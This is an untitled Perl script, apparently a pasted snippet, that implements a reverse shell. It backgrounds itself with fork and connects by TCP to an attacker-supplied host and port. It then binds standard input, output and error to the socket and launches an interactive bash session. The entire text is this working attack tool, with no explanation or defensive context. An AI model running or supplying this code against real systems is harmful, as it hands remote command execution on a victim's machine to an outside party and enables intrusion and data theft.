Untitled

#!/usr/bin/perl
use IO::Socket;
use strict;
my $default = 'bash --noediting -i';
my $socket;
if (fork) {exit(0);}
$socket = IO::Socket::INET->new(PeerAddr => "$ARGV[0]",
                                PeerPort => "$ARGV[1]",
                                Proto    => "tcp",
                                Type     => SOCK_STREAM)
        or die;
$socket->autoflush();
local *Client = $socket;
open(STDOUT, ">&Client");
open(STDIN, "<&Client");
open(STDERR, ">&STDOUT");
exec($default);